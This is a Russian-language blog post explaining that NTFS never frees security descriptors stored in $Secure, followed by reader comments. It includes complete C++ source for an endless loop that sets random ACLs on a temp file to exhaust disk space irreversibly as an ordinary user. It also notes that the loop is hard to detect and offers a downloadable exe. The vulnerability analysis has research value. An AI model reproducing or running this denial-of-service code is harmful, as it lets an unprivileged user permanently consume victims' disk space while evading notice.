NTFS - это продвинутая файловая система, которая используется как основная во всех современных операционных системах Windows. Эта файловая система поддерживает логирование, имеет возможность восстановления данных, расширенные функции безопасности, файловые потоки и многие другие фичи. Но, увы, иногда с богатым функционалом приходят и проблемы, которых не было в ранних файловых системах вроде FAT32.
В NTFS, как вы уже, возможно, знаете, имеется возможность для каждого файла или директории задать атрибуты безопасности: какие пользователи или группы пользователей смогут читать файловый объект, а какие писать; кто не сможет зайти в директорию, а кто сможет; как должны логироваться доступы к объекту и т.д. Вся эта информация часто дублируется: например, в директории C:\Windows\System32
много DLL-файлов, на которые, скорее всего, навешаны схожие атрибуты безопасности: у одних и тех же групп пользователей будут одни и те же возможности доступа к каждому из этих файлов. Конечно, хранить идентификаторы этих групп и пользователей (SID'ы) и дескрипторы безопасности (ACL'ы) накладно для каждого отдельно взятого файла, поэтому разработчики NTFS пришли к умному решению и реализовали его в NTFS v3.0 (Windows 2000): они вынесли всю информацию о безопасности и доступах в отдельный общий файл под названием $Secure
, а точнее, в его файловый поток под названием $Secure:$SDS
. Этот файл пользователям и администраторам Windows недоступен и является сугубо системным, обслуживается только драйвером NTFS. Без специального ПО доступ к нему получить невозможно.
Как же это всё реализовали? Очень просто! Для каждого файла, вместо хранения данных безопасности в метаинформации самого файла, в атрибут $STANDARD_INFORMATION, который всегда имеется у каждого файла, добавили поле Security Id
, которое ссылается на соответствующий дескриптор безопасности в файле $Secure
. А файл $Secure
, в свою очередь, содержит набор структур, описывающих использующиеся дескрипторы. Таким образом, если вы создаете новый файл с правами доступа по умолчанию (или, например, копируете файл), то его Security Id
будет выбран из уже имеющихся структур в файле $Secure
. То есть, если такой дескриптор, который вам нужен, уже есть в $Secure
, то новый создаваться не будет: в вашем файле просто пропишется Security Id
уже имеющегося дескриптора. Если же вы решили изменить дескриптор безопасности у файла, задав нестандартный, ранее не использовавшийся дескриптор, то сначала в $Secure
будет создана новая запись с новым Security Id
, а в ваш файл будет прописан этот самый новый Security Id
.
Здесь уже можно почуствовать подвох. Подумаем, что произойдет, если теперь удалить файл (или заменить его дескриптор безопасности). В идеале, запись, созданная исключительно для вашего файла, должна быть удалена из $Secure
, ведь ее ни один файловый объект больше не использует. Но не тут-то было: NTFS не отслеживает, какие именно файлы или директории используют дескриптор безопасности. NTFS даже не подсчитывает, какое количество файлов или директорий ссылается на дескриптор! Может, мы где-то ошиблись? Давайте внимательнее взглянем на структуру записей в $Secure:$SDS
:
Смещение | Размер | Описание | 0x00 |
4 |
Хэш дескриптора безопасности | 0x04 |
4 |
Security Id |
0x08 |
8 |
Смещение этой записи от начала файла | 0x10 |
4 |
Размер этой записи | 0x14 |
V |
Дескриптор безопасности | 0x14 + V |
- |
Выравнивание |
---|
Нет, здесь точно нет ничего, что могло бы указать на то, какие файлы и директории используют дескриптор (или хотя бы сколько файловых объектов им пользуется). Эта страница говорит о существовании индексов $Secure:$SDH
и $Secure:$SII
, только вот и в них нет ничего подобного.
Итак, у файловой системы нет другого выбора, кроме как оставить все дескрипторы безопасности в файле $Secure
до лучших времен (вдруг ещё кому пригодятся). И это место будет занято на вашем диске, и его вы не сможете уже освободить. Вы сможете дефрагментировать $MFT
или даже $Secure
с помощью какой-нибудь утилиты вроде Contig, но, насколько мне известно, не существует ПО, которое позволило бы удалить из . Всё-таки, такое ПО есть - это CHKDSK (хотя и требует для запуска прав администратора)! Давайте представим, как это могло бы быть реализовано:$Secure
ненужные дескрипторы
- Сначала нужно перечислить ВСЕ файловые объекты на разделе диска и сохранить куда-то все обнаруженные
Security Id
. - Далее, нужно удалить из
$Secure
(из всех потоков и индексов) все дескрипторы, которые мы не обнаружили на первом этапе. - Это может привести к тому, что часть дескрипторов съедет, а их
Security Id
может поменяться. Значит, нужно подправить у затронутых файлов ихSecurity Id
, чтобы они ссылались на правильные дескрипторы. Кроме того, нужно подправить смещения у съехавших дескрипторов.
Это колоссальная работа, которую просто и быстро не сделать. Потребуется, скорее всего, отмонтировать раздел диска и делать это, пока никто им больше не пользуется. Словом, сложнореализуемо, особенно для непосвященного пользователя.
Тут сразу возникает вопрос: а может ли злой хэкер забить файл $Secure
до такой степени, чтобы занять всё свободное место на жестком диске? Устроив таким хитрым образом DoS системы? Как выясняется, может, да ещё и без прав администратора! Ему будет достаточно прав обычного пользователя!
Давайте же напишем код, который это выполняет. Мы создадим в доступной нам для записи временной директории пустой файл и будем постоянно ему менять дескриптор безопасности. Каждый новый дескриптор мы будем генерировать случайным образом, чтобы он не совпал с уже имеющимися. Это будет приводить к тому, что каждый раз драйвер NTFS будет записывать наши дескрипторы в $Secure
, но не будет их удалять, постепенно отъедая всё больше и больше места на диске пользователя. Пользователь заметит, что место на его диске куда-то исчезло, но новых файлов, которые бы занимали это место, не найдёт. Освободить место пользователь также не сможет без переформатирования диска!
Писать будем, конечно, на C++. Начнем с генерации случайного SID
'а:
1 2 3 4 5 6 |
std::wstring generate_random_sid(std::mt19937& rng) { static std::uint32_t index = 1; static std::uniform_int_distribution<std::mt19937::result_type> dist; return L"S-1-5-21-" + std::to_wstring(index++) + L"-" + std::to_wstring(dist(rng)); } |
Этот код генерирует случайную строку вида S-1-5-21-X-Y
. Это такой типичный вид дескриптора (SID
) пользователя или группы пользователей. Она может и не существовать, но NTFS это мало волнует (ведь вдруг вы скопировали файл откуда-то ещё, где такой дескриптор есть в системе?). Теперь сделаем функцию, которая будет переводить эту строку в непосредственно структуру SID
и добавлять его атрибуты доступа в структуру EXPLICIT_ACCESS_W:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
//Чтобы память очищалась автоматически using sid_guard_t = std::unique_ptr<std::remove_pointer_t<PSID>, decltype(&::LocalFree)>; sid_guard_t add_random_sid(EXPLICIT_ACCESS_W& ea, const std::wstring& sid_string) { PSID sid{}; //Конвертируем SID из строковой формы if (!::ConvertStringSidToSidW(sid_string.c_str(), &sid)) throw std::runtime_error("No SID"); sid_guard_t sid_guard(sid, &::LocalFree); //Добавляем для него фейковые права доступа: //Доступ разрешен на чтение, без наследования, для пользователя //с указанным SID'ом: ea.grfAccessMode = GRANT_ACCESS; ea.grfAccessPermissions = READ_CONTROL; ea.grfInheritance = NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = reinterpret_cast<LPWCH>(sid); //Возвращаем сконвертированный SID. return std::move(sid_guard); } |
Теперь осталось написать функцию, которая заполнит массив структур EXPLICIT_ACCESS_W и вернет массив соответствующих им SID
'ов. Нам необходимо хранить в памяти все сгенерированные SID
'ы до тех пор, пока мы их не добавим в дескриптор безопасности файла.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
//Array - это массив структур EXPLICIT_ACCESS_W. template<typename Array> std::vector<sid_guard_t> fill_random_sids(Array& arr) { std::vector<sid_guard_t> guards; guards.reserve(std::size(arr)); //Генератор рандомных чисел std::mt19937 rng; rng.seed(static_cast<std::mt19937::result_type>(std::time(nullptr))); //Для каждого элемента переданного массива: std::for_each(std::begin(arr), std::end(arr), [&rng, &guards] (auto& elem) { //Генерируем SID, конвертируем его и добавляем для него //сгенерированные права доступа в EXPLICIT_ACCESS_W. guards.emplace_back(add_random_sid(elem, generate_random_sid(rng))); }); //Возвращаем соответствующие сгенерированным правам доступа SID'ы return std::move(guards); } |
Теперь напишем пару вспомогательных функций, которые вернут нам путь к временной директории, доступной для записи, и подготовят в ней временный файл:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
//Получение пути к временной директории, доступной для записи: std::wstring get_temp_path() { std::wstring temp_path; //Сначала получим необходимый размер буфера для //хранения имени временной директории: auto buffer_length = ::GetTempPathW(0, &temp_path[0]); if (!buffer_length) throw std::runtime_error("No temp path"); temp_path.resize(buffer_length); //А теперь запросим имя директории в подготовленный буфер: buffer_length = ::GetTempPathW(buffer_length, &temp_path[0]); if (buffer_length >= temp_path.size()) throw std::runtime_error("No temp path"); //Обрежем ненужные нулевые байты в конце: temp_path.resize(buffer_length); return temp_path; } //Получение имени временного файла: std::wstring get_temp_file_name(const std::wstring& path) { std::wstring temp_file_name; //Заготовим буфер temp_file_name.resize(MAX_PATH + 1); if (!::GetTempFileNameW(path.c_str(), L"test", 0, &temp_file_name[0])) throw std::runtime_error("No temp file name"); //Обрежем ненужные нулевые байты в конце: temp_file_name.resize(temp_file_name.find_last_not_of(L'\0') + 1); return temp_file_name; } |
Далее, нам потребуется функция открытия файла по его имени. К этому файлу мы потом будем добавлять случайные дескрипторы безопасности:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
//Чтобы файл автоматически закрылся: using handle_guard_t = std::unique_ptr<std::remove_pointer_t<HANDLE>, decltype(&::CloseHandle)>; handle_guard_t create_file(const std::wstring& name) { //Создаем файл с заданным именем: auto handle = ::CreateFileW(name.c_str(), GENERIC_ALL, FILE_SHARE_READ, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (handle == INVALID_HANDLE_VALUE) throw std::runtime_error("Unable to create file"); return handle_guard_t(handle, &::CloseHandle); } |
Теперь у нас есть всё необходимое, чтобы перейти к самой мякотке кода, который и делает всё, что мы задумали. Напишем главную функцию программы:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
int WINAPI wWinMain(HINSTANCE, HINSTANCE, PWSTR, int) try { //Создаем файл во временной директории: auto handle = create_file(get_temp_file_name(get_temp_path())); //Будем добавлять к его дескриптору безопасности по 500 SID'ов за раз: std::vector<EXPLICIT_ACCESS_W> ea(500); while (true) { //Создаем случайные дескрипторы и заполняем их права доступа: const auto sid_guards = fill_random_sids(ea); //Создаем дескриптор безопасности: PACL acl{}; if (ERROR_SUCCESS != ::SetEntriesInAclW(static_cast<ULONG>(ea.size()), ea.data(), nullptr, &acl)) { throw std::runtime_error("No ACL"); } //Чтобы память освободилась автоматически: std::unique_ptr<std::remove_pointer<PACL>::type, HLOCAL(WINAPI*)(HLOCAL)> acl_guard(acl, &::LocalFree); //Устанавливаем дескриптор безопасности для нашего файла, //заменяя ранее установленный. if (ERROR_SUCCESS != ::SetSecurityInfo(handle.get(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, nullptr, nullptr, acl, nullptr)) { throw std::runtime_error("Unable to set security info"); } //И так до бесконечности... } return 0; } catch (const std::exception& e) { //Если ошибка, отобразим ее и выйдем из программы. ::MessageBoxA(nullptr, e.what(), "Error", MB_ICONERROR | MB_OK); return -1; } |
Вот и весь код - всего 130 строк (ссылка на скачивание полного варианта будет в конце статьи).
Попробуем теперь запустить эту программу на тестовой виртуальной машине с Windows 10. Вот что было до запуска программы:
А вот как выглядит раздел спустя 20 минут после запуска программы:
Около 3.5 гигабайта свободного места испарились вникуда. Диск забивается достаточно медленно, но это происходит незаметно и, что главное, не требует никаких особенных прав! Программа потребляет порядка 20% от одного ядра процессора. На четырех или восьмиядерном процессоре она будет совершенно не привлекающей внимания. В моём тесте программа была запущена от пользователя с ограниченными правами (не администратора). Давайте теперь с помощью комплекса OS Forensics взглянем на файл $Secure
:
Для сравнения, вот что было до того, как программа была запущена:
Впечатляет! Все 3.5 гигабайта вбухались в $Secure
. Как бонус, это может замедлить скорость работы файловой системы, так как количество записей в $Secure
значительно увеличилось. Ещё можно взглянуть на вывод программы WinDirStat, которая показывает общий размер файлов и директорий (кстати, удобная штука для удаления старых ненужных занимающих место файлов). Как видно, она говорит о 46.8 Гб занятого места (скриншоты делались после установки OS Forensics, поэтому ещё часть места была занята этим ПО):
В то время, как Windows считает, что на самом деле занято 49 Гб:
А вот как выглядят атрибуты безопасности нашего временного файла:
В заключение подумаем, что произойдет, если вдруг пользователь попадется продвинутый и попытается разобраться, куда же делось его свободное место. Он может попробовать изучить журнал NTFS, открыв его, например, с помощью утилиты NTFS Journal Viewer от Orion Forensics.
Увы, но и тут его ждет разочарование. Есть всего три записи, не вызывающие подозрения, при работе с временным файлом. Никаких записей о тысячах изменений дескриптора безопасности файла нет, есть всего парочка. Их реально найти в огромном количестве прочих записей, только зная имя файла заранее. В противном случае это поиск иголки в стоге сена.
Итак, что мы имеем? NTFS пытались оптимизировать, но допустили недоработку, которая в итоге позволяет осуществить DoS системы (медленный, но необратимый) даже от обычного пользователя.
Скачать исходники и exe-файл: NTFS fucker (пароль на архив kaimi).
dx, ты вернулся! Отличная статья, спасибо.
Спасибо! Когда не было времени писать, накопил идей, вот решил их сразу и опубликовать =)
Спасибо за статью. Всегда любил ваш блог.